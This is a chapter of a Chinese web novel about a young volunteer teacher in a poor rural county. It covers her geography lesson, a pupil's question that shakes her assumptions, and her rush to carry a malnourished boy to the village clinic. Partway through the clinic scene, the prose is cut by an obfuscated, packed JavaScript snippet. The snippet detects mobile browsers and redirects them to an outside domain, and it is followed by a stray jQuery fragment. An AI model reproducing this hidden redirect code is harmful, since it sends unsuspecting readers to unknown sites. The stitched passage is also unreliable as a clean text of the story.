顾思云发誓——
她活了28年,从来没有被这么多双水汪汪、充满了好奇的大眼睛同时注视过。
她原本前一天晚上翻来覆去睡不着时想出来的课程介绍导语也在瞬间忘得一干二净。
没有一个学生的衣服称得上好,大多都是破旧的棉服。
顾思云甚至看到有个男生的袖子已经短到遮不住手腕,有的学生脸上脏兮兮的。
她就在短短的几十秒里将他们的精神面貌、衣着全部观察了遍。
“虽然我是昨天才到沼泽县的,但感觉这里的山景很好,我们迎春小学的校园也很优美。”
“相信我们三年1班的每个人也都是好学可爱的小同学。”
“下面老师就开始进入本节课程的第一部分——为大家介绍地球上的四大洋。想不想听?”
顾思云模仿着记忆中小学老师循循善诱的方式找回了自己的声音。
“好~~”
台下的孩子们热情的异口同声回答她。
顾思云成功得到了反馈,微笑着拿着铅笔转身在黑板上板书。
“地球是由海洋和陆地共同构成的,海洋比陆地要大得多。”
“假设海洋是地球上的水,老师今天就挑最大的四碗水,它们有一个共同的名字就叫——四大洋。”
“其中太平洋是四大洋当中面积最大的,占世界海洋面积的二分之一,相当于11万个沼泽县哦……”
……
“最后一个北冰洋则是面积最小的,它和印度洋相反,温度很低,气候很冷……”
“接下来老师借助海报给大家看看四大洋都长什么样子好不好?”
顾思云考虑周到,她在讲授过程中尽量拿学生们熟悉的东西来举例子,方便他们理解。
就像太平洋相当于10个南美洲一样大,可这里的学生们又怎么能知道南美洲有多大呢?
东经108北纬26、南北宽37.8公里,东西长44.3公里的沼泽县就是他们最熟悉的地方了。
依旧是互动性问题的抛出,顾思云返回讲台去拿自己准备好了的辅助彩图。
本以为还会听到学生们稚嫩清脆的回答声说“好~~”,但是没有——
“顾老师,海报是什么东西啊?”
.
顾思云愣住了。
很难想象到自己来之前每天抽空备课,掏出了早就不用了的地理书回顾四大洋七大洲十八种地貌针叶林阔叶林……
就是害怕自己没能正确的回答出学生们提出的问题。
但顾思云怎么也不会想到她竟然会对这个问题哑口无言。
京七附小和京州七中之间的那条小巷子里每天下午放学时候随便从叽叽喳喳里抽出一个哪怕是一年级的小学生恐怕都能一眼看出顾思云手上拿的彩色图纸采用的是艺术微喷。
有的热爱画画的小孩子甚至能够给学校活动设计海报。
而此时此刻顾思云必须绞尽脑汁想出应该怎么解释才能让迎春小学的孩子们理解什么是“海报”。
她终于不得不承认自己从前对教育资源巨大差异的理解只停留在抽象且浅显的表面。
真正残忍的绝对不是教学楼的新旧和墙皮桌椅的好赖。
是那些早已融入在你日常生活里但于别人而言陌生无比的无形差距。
“海报是一种宣传方式,多用于电影、戏剧和活动宣传。今天老师拿的海报主要是给同学们展示四大洋的形态。”
“后面我还会带来更多海报,上面有更多美丽的风景,大家可以期待一下。”
顾思云将印刷精美的图片贴到了黑板上,霎那间讲台下面坐着的学生们的目光全部被吸引。
事实上顾思云私以为这几张图片是她带过来的所有图片里面最无聊的。
因为真的就只是地图而已,甚至没有风景。
这样的图片顾思云曾经上地理课无聊的时候甚至都不屑于去看。
可是他们连这样的图片也是没有见过的。
顾思云盯着台下聚精会神的小人儿们沉思,她的确是被冲击到了。
——
但不是因为沼泽县和京州巨大的教育资源差距。
而是为自己活了快30年还存在着这样浅薄而傲慢的认知而感到惭愧。
她可以大方的承认自己没什么热心奉献这类优良品质,单纯好奇才来。
也大度“原谅”自己有过很多次后悔的念头,但她今天依旧站在教室里给他们上课。
可是这一切都是建立在顾思云对Z省、对江明市、对沼泽县自以为有基本的了解。
她自以为自己就算出生在终点但也认真学习工作数十载,对于社会、对于贫富有虽然冷血但客观的认知。
可今天台下那个学生的问题犹如给了她当头一棒。
毫不夸张。
直接打碎了顾思云这么多年的傲慢和……
自以为是。
顾思云甚至不记得后半节课她都讲了什么,她再也没能像前半节课一样,甚至感觉喉咙里发出的声音不是自己的。
她一直以来对自己的要求都和寻常人不一样,时而对自己十分宽容,但有的时候也无法接受哪怕毫不起眼的瑕疵。
顾思云认为自己的确是古怪的:
她可以接受自己冷血,但不能接受自己无知;
她可以接受自己世俗,但不能接受自己浅薄。
*
下课铃一响顾思云就马上说了下课,只想赶快找个安静的地方让自己缓缓。
她就是这么脆弱。
脆弱到一旦发现自以为是的内心被戳穿就想躲,至少不要让她立刻毫无防备的面对。
“老师,刘世豪晕倒了!”
没等顾思云踏出教室门口的时候就听到一个学生大声喊他。
扭头一看一群学生围成一圈,顾思云两眼一闭自己差点也没晕过去。
这都什么事啊。
她让学生们分散开,蹲下去查看晕过去的小孩状况。
“镇上的卫生所在哪?诊所也行。”以沼泽县的这个发展状况顾思云根本没考虑能去医院。
“在东边辜老汉家,老师我领你过去吧。”旁边扎麻花辫的一个女孩儿抢先答道。
顾思云背起刘世豪就示意女生带路。
她从来没背过人,更没背过小孩儿。
但顾思云清楚的感受到,三年级快10岁的小男孩这个重量太轻了。
*
带路的女生顾思云在路上也问了她的名字。
叫洪四果。
顾思云好奇她父母为什么给她取了个这个名字,但她背着张世豪着急给他送去看大夫也就没顾上立刻问。
迎春小学这条街上最东边就是村里人常去的诊所。
一个年近六旬的老汉开的,姓辜。
诊所非常小,几个木柜子和塞得满满登登的药盒子就几乎是全部了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364435|183860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
只有里间的一个小屋里面有两张单人床。
顾思云把张世豪卸在床上让辜老汉检查。
“这是前街老张家的孙子吧。这孩子贫血,平时缺乏营养,吃不饱穿不暖的。”辜老汉很快就检查出了原因,似乎也对张世豪了解不少。
“这孩子家里条件不好吗?”顾思云忍不住开口问道。
她知道沼泽县穷。但看其他孩子的状态感觉也没有到吃不饱饭的程度,单单这个张世豪却严重到了贫血昏倒的地步。
“张世豪他父母前几年在省城打工的时候出了车祸,都去世了。”
“他跟着他爷爷生活,他爷爷每天都喝酒,也不去种地,所以他们家特别穷。”
“他每天不仅吃不饱饭有的时候还要自己烧柴做饭,班上同学都知道。”
辜老汉没回答她,走到了外面药柜子里去拿葡萄糖给张世豪输液,站在一旁的洪四果解答了顾思云的疑惑。
*
授课的班上学生出事昏倒,顾思云首先就通知了带队负责人李老师和迎春的管理老师。
诊所离学校本来也不远,张世豪刚输上液的时候两个老师就急急忙忙赶过来了。
“小顾,多亏了你啊,我看孩子已经醒了,也向学校的管理老师了解清楚了情况。”
“我会和协会老师商量给这个孩子提供帮助的,辛苦你了,忙了一下午。”
“天也快黑了,你快回去吃饭休息吧。”
李老师的作风为人和她的外表一样让人心安。
顾思云的确累的不行,不仅是身体的疲劳,还有多半是心累。
一个下午之间太多的信息向她迎面扑来,甚至完全不给她喘息的机会。
顾思云慢悠悠的离开辜老汉的诊所往学校宿舍走。没走两步突然想到了什么:刚才的小姑娘洪四果怎么转眼就不见了。
她明明记得辜老汉给张世豪输液的时候她还在诊所里面啊。
但顾思云只寻思了一下没当回事,想着可能是小姑娘做完了好人好事后就回家了。毕竟她是这里土生土长的人,左右不会丢了。
*
回去的时候已经是傍晚6点了,沼泽县的天渐渐黑了。
刚才来的时候没注意,顾思云回去的路上发现路边有几家饭馆,天一黑都在门口支起了灯泡,有三两个男人在门口抽烟闲聊。
村子里的路都宽不到哪里去,顾思云走在路上势必得从那些人眼前过去。
还没走到那块地的时候顾思云就开始琢磨了。
说没一点担心是不可能的。
她来之前功课做得足的很,女生来陌生地区支教要小心的事情格外多。
毕竟穷乡僻壤出刁民,人性是无法预估的。
顾思云在来的时候连一件彩色的衣服都没带,全都是低调的黑和灰,一走到亮灯的地方便加快脚步。
她毕竟也活了28年,和18岁的高三生比还是多了不少见识和本事的,也不至于害怕到不敢过。
尽管顾思云明显的察觉到门口拉呱的那些男人的目光从头到脚打量着她,有的还互相交换了眼神。
就当被一群神经病看了几眼吧,顾思云强忍怒火。她念及这里不是她的地盘,否则顾思云能让他们这么盯着自己看她干脆不要姓顾好了。
就在顾思云憋屈的快要离开这段路的时候她听到了一个熟悉的声音。
——
“我没钱!我舅欠你钱你找他要去。”